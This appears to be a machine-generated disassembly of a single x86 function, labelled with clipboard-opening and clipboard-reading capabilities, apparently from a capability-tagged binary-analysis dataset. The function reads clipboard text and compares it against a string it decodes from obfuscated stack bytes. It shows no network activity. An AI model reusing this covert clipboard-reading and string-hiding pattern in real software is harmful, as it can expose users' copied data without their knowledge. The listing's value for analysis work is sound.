Function at 0x42f160
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x38
mov esi, esp
call fcn.004099e0
push eax
mov ecx, esp
push eax
mov eax, esp
push eax
mov ebx, esp
push eax
mov dword [esi + 0x10], esp
push eax
mov dword [esi + 8], esp
push eax
mov dword [esi + 0x20], esp
sub esp, 0x18
mov edi, esp
and edi, 0xfffffff8
mov esp, edi
push eax
mov dword [esi + 0x18], esp
mov dword [esi + 0x28], ecx
mov edx, dword [ebp + 8]
mov dword [ecx], edx
mov dword [esi + 0x14], eax
mov byte [eax], 0
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
cmp eax, 0
setne al
test al, 1
jne 0x42f1c5
jmp 0x42f353
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [ebx], eax
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, dword [esi + 0x10]
mov dword [ebx], eax
jmp 0x42f1f8
mov eax, dword [ebx]
jmp 0x42f1fc
cmp eax, 0
setne al
test al, 1
jne 0x42f20b
jmp 0x42f349
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esi + 8]
mov dword [ecx], eax
jmp 0x42f220
mov eax, dword [esi + 8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00409320
add esp, 4
mov ecx, dword [esi + 0x20]
mov dword [ecx], eax
cmp dword [ecx], 0
je 0x42f339
mov eax, dword [esi + 0x28]
mov eax, dword [eax]
mov dword [esi + 0x1c], eax
mov eax, dword [ecx]
mov dword [esi + 0x24], eax
mov eax, dword [esi + 8]
mov ebx, dword [eax]
jmp 0x42f255
mov eax, dword [esi + 0x18]
mov al, byte [eax]
mov byte [esi + 0xc], al
mov byte [edi], 0x43
mov byte [edi + 1], 0x6d
mov byte [edi + 2], 0x6b
mov byte [edi + 3], 0x73
mov byte [edi + 4], 0x66
mov byte [edi + 5], 0x6a
mov byte [edi + 6], 0x67
mov byte [edi + 7], 0x75
mov byte [edi + 8], 0x6c
mov byte [edi + 9], 0xa7
mov byte [edi + 0xa], 0x7e
mov byte [edi + 0xb], 0x73
mov byte [edi + 0xc], pe_nt_image_headers32
mov byte [edi + 0xd], 0x8d
mov eax, edi
add eax, 0xe
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 5
call fcn.00409280
add esp, 0xc
jmp 0x42f2bb
call fcn.004099e0
mov dword [esi + 4], 0
mov eax, dword [esi + 4]
cmp eax, 0x13
jae 0x42f30c
jmp 0x42f2d1
mov eax, dword [esi + 4]
mov ecx, dword [esi + 4]
movzx ecx, byte [edi + ecx]
mov edx, eax
add edx, 0x40
add eax, ecx
and edx, ecx
add edx, edx
sub eax, edx
add eax, 0x67806540
mov dword [esi + 0x2c], eax
mov eax, dword [esi + 0x2c]
add al, 0x40
mov ecx, dword [esi + 4]
mov byte [edi + ecx], al
mov eax, dword [esi + 4]
inc eax
mov dword [esi + 4], eax
mov eax, dword [esi + 4]
cmp eax, 0x13
jb 0x42f2d1
jmp 0x42f30c
jmp 0x42f30e
sub esp, 0xc
mov ecx, dword [esi + 0x1c]
mov dword [esp], edi
mov dword [esp + 4], ebx
mov eax, dword [esi + 0x24]
mov dword [esp + 8], eax
call fcn.00409c00
and al, 1
mov ebx, dword [esi + 0x10]
jmp 0x42f32e
jmp 0x42f330
mov ecx, dword [esi + 0x14]
mov byte [ecx], al
jmp 0x42f337
jmp 0x42f339
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x42f349
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x42f351
jmp 0x42f353
mov eax, dword [esi + 0x14]
mov al, byte [eax]
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret